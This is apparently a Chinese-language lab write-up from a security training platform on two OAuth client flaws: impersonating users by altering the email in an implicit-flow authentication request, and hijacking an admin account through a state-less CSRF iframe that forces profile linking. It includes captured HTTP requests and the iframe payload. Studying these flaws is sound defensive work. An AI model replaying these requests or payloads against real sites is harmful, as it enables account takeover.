OAuth Client Application 

OAuth規範的定義相對寬鬆,每種授權類型都有許多可選參數和配置設置,這意味著錯誤配置的範圍很大。因此在Client Applications(網站應用程式)的部份,實作方式可能不太安全。

常見的漏洞如下

  • 隱式授權類型實施不當-未驗證OAuth使用者
  • 有缺陷的CSRF保護 -可搭配state構建CSRF攻擊

其他和OAuth有關漏洞可參考以下


未驗證OAuth使用者

在隱式流程中,此POST請求會被攻擊者看到。如果客戶端應用程式未正確檢查存取權杖是否與請求中的其他資料匹配,攻擊者可以簡單地更改發送到伺服器的參數來冒充任何使用者

舉例如下,目標網站第三方登入認證流程最後一步,會送出email和token等相關信息給網站,以取得該使用者session id

################# request #################
POST /authenticate HTTP/1.1
Host: ac1f1f0a1eb76e23c050849800fd001b.web-security-academy.net
Cookie: session=6ntWWPI6PaoznMF4dwX713MIlD3z42hG
...omit...
{"email":"wiener@hotdog.com","username":"wiener","token":"T2uYRfsLeCDRF2Fwkaqp2MgzclrYGlodzxV_7yHOmcg"}
	
################# reponse #################
HTTP/1.1 302 Found
Location: /
Set-Cookie: session=5GKYYYl2P4LxKOWs2ruorZuR6lxH6K1J; Secure; HttpOnly; SameSite=None
...omit...

使用者就可用該session id訪問網站

################# request #################
GET / HTTP/1.1
Host: ac1f1f0a1eb76e23c050849800fd001b.web-security-academy.net
Cookie: session=5GKYYYl2P4LxKOWs2ruorZuR6lxH6K1J
...omit...

################# reponse #################
HTTP/1.1 200 OK
...omit...

但因為該網站有漏洞,所以只要把剛剛成功登入的email改為受害者,就可以取得受害者的session id

################# request #################
POST /authenticate HTTP/1.1
Host: ac1f1f0a1eb76e23c050849800fd001b.web-security-academy.net
Cookie: session=6ntWWPI6PaoznMF4dwX713MIlD3z42hG
...omit...
{"email":"attack@macious.net","username":"wiener","token":"T2uYRfsLeCDRF2Fwkaqp2MgzclrYGlodzxV_7yHOmcg"}
	
################# reponse #################
HTTP/1.1 302 Found
Location: /
Set-Cookie: session=7XSAB3A4X3BbxAXo3sfoxBzB52gfi40F; Secure; HttpOnly; SameSite=None
...omit...

只要使用受害者的session id就等同使用受害者的身份訪問網站

################# request #################
GET / HTTP/1.1
Host: ac1f1f0a1eb76e23c050849800fd001b.web-security-academy.net
Cookie: session=7XSAB3A4X3BbxAXo3sfoxBzB52gfi40F
...omit...

################# reponse #################
HTTP/1.1 200 OK
...omit...

Lab: Authentication bypass via OAuth implicit flow


搭配state構建CSRF攻擊

如果授權請求沒有發送state參數,那麼從攻擊者的角度來看,這意味著可以欺騙使用者瀏覽器完成OAuth流程之前自行啟動OAuth流程,這類似於傳統的CSRF 攻擊。因此,如果應用程式無法使用該state參數,攻擊者可將受害者的帳戶綁定到自己的社交媒體帳戶,以劫持受害者帳戶,舉例如下。

目標網站第三方登入流程

1.Authorization request

以社交媒體帳戶登入時,點擊Attach a social profile,會發送以下請求,可以注意到沒有state屬性

################# request to oauth ################# 
GET /auth?client_id=ixhm4jhjus0j70exb8g3i&redirect_uri=https://ace41f781ec37791c0a60c5500900023.web-security-academy.net/oauth-linking&response_type=code&scope=openid%20profile%20email HTTP/1.1

host: oauth-ac681ffa1e697728c0ee0c86029400ac.web-security-academy.net
...omit...

################# response ################# 
...omit...Redirecting to <a href="https://ace41f781ec37791c0a60c5500900023.web-security-academy.net/oauth-linking?code=pqJ1ggLiITrJKXOdLW-AMDz_mXvMHey4yyP03Iq2xY4">...omit...

2.User login and consent

接著會對oauth-ac681ffa1e697728c0ee0c86029400ac.web-security-academy.net運行以下請求

GET /interaction/yvMjwyDFe2dIVeTYRZWDC
POST /interaction/yvMjwyDFe2dIVeTYRZWDC/login
GET /auth/yvMjwyDFe2dIVeTYRZWDC
GET /interaction/yvMjwyDFe2dIVeTYRZWDC
POST /interaction/yvMjwyDFe2dIVeTYRZWDC/confirm
GET /auth/yvMjwyDFe2dIVeTYRZWDC

3. Authorization code grant

最後會對ace41f781ec37791c0a60c5500900023.web-security-academy.net執行以下請求,要求社交帳戶綁定當前使用者,接著就可以成功使用第三方登入訪問網站

################# request ################# 
GET /oauth-linking?code=pqJ1ggLiITrJKXOdLW-AMDz_mXvMHey4yyP03Iq2xY4
host: ace41f781ec37791c0a60c5500900023.web-security-academy.net
Cookie: session: 7XSAB3A4X3BbxAXo3sfoxBzB52gfi40F
...omit...

################# response ################# 
...omit...You have successfully linked your social media account...omit...

退出重新使用社交帳戶登錄,發現網站已經自動保存了登陸狀態,表示在OAuth過程中session cookie被保存到後端

攻擊方法

先進行第三方登入,一開始會先送出以下請求

################# request to oauth ################# 
GET /auth?client_id=ixhm4jhjus0j70exb8g3i&redirect_uri=https://ace41f781ec37791c0a60c5500900023.web-security-academy.net/oauth-linking&response_type=code&scope=openid%20profile%20email HTTP/1.1

host: oauth-ac681ffa1e697728c0ee0c86029400ac.web-security-academy.net
...omit...

################# response ################# 
...omit...Redirecting to <a href="https://ace41f781ec37791c0a60c5500900023.web-security-academy.net/oauth-linking?code=iiN6HvoVPtL59cMoZXLcx6xzDfQpRq4nGaux4Bfzkmn">...omit...

到最後時會送出GET /oauth-linking?code=iiN6HvoVPtL59cMoZXLcx6xzDfQpRq4nGaux4Bfzkmn,但先阻止他送到網站,把這個請求包裝成以下頁面,然後另外傳送給admin user,誘使對方訪問

<iframe src="https://ace41f781ec37791c0a60c5500900023.web-security-academy.net/oauth-linking?code=iiN6HvoVPtL59cMoZXLcx6xzDfQpRq4nGaux4Bfzkmn"></iframe>

當admin user訪問該頁面時就會以他的身份對oauth-linking送出請求,要求將admin user綁定在攻擊者社交帳戶上

GET /oauth-linking?code=iiN6HvoVPtL59cMoZXLcx6xzDfQpRq4nGaux4Bfzkmn
host: ace41f781ec37791c0a60c5500900023.web-security-academy.net
...omit...

接著在用攻擊者的社交帳號登入,即可得到admin user的權限

Lab: Forced OAuth profile linking